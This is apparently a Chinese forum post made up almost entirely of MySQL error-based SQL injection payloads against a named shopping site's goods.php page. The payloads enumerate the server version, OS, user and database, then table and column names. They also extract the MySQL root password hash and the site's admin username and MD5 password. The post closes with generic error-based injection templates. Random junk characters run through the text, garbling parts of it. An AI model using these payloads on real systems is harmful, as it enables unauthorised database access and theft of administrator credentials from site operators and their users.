判断版本号 ( i; {4 ]+ r% t
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23& q# m: `- h. O& X
. c/ `8 R/ G% ~' ^1 X! ~ y8 Y判断系统2 O7 c' K4 D- O/ e2 Q
, i" W! R: a* k2 F( y# ~+ m! Phttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
0 Z$ n$ ^+ c9 o0 s7 d2 f8 _, f5 `; Z* C
6 V8 _6 t+ O' \+ x# `
4 P' A" d' x( b2 n! h当前 user()" q9 p9 v( j- Q& a( D" b: C
9 W# s9 R+ `6 Vhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23* K: f5 R2 Z8 s/ s
0 f3 S4 X% w- ?/ h7 D
& v) D6 y: _1 H% E' n& u
5 n; x0 [; X! u& p+ D* n
当前 database(): s/ J1 v$ d c" M
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23. v# ^) S8 P) q
" k+ V4 X, z/ k$ {' u: f: i8 {0 N2 K% {2 S& X( ~3 d4 l
$ q$ H/ |" H! v; U5 E/ y& P2 |, w# Q( @9 ^( f( o- k
root hash
# k4 p# b8 t1 X/ q/ R( Q! W) }$ C7 M5 b
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
. O, T. }4 _$ }0 Z* K! T; s; p8 F
, t( b. e- |, H, c
: O: Y. b# \, J% I9 m1 e2 y+ m7 Z( d/ ^. @, t1 r5 ]
当前 数据库表名
! P* m# z% k2 y! S2 I$ G7 G `* }. a9 L1 g. W+ j
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%232 i; ]4 ]5 p! B
! i. B6 C& s; @
) f1 u# k. ]7 v8 Z/ I$ f2 B# [1 M' v; @7 G4 [5 f# L( M
当前 数据库 user_name 字段
' B: X, B% S! U& @ B9 F
$ o3 o- |# S; P7 i( Rhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
7 I2 f7 k* m" m
% M( H) D2 u3 z9 ^/ c O当前 数据库 字段 password
4 r4 j i5 j1 Hhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23& R/ t. b! F9 X! x6 E+ | r7 ^4 p' F
) k; A! L1 N4 N! \" y
1 E9 D, T* ?/ q5 S" P7 _; e6 x# x3 @8 x' H' _
获得 admin passwd(md5)) q' ^1 J, F- D1 n7 E! q
" R' ~9 L5 U; Q
( \! y5 k; j/ y8 ]http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%235 l q( ~4 E; M5 T0 y7 ~4 T
2 c0 `- _# D" o8 ^: s
报错注射 x' a6 R S: X) Y) `* ^8 Z
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
# n( j E/ }" g1 {. o# N% ~0 ]# ` l5 E$ u& p* S/ A
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)& C; O- ]- C6 i% ?4 U( z
" p$ E% J, Z& n" C: j! ]
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |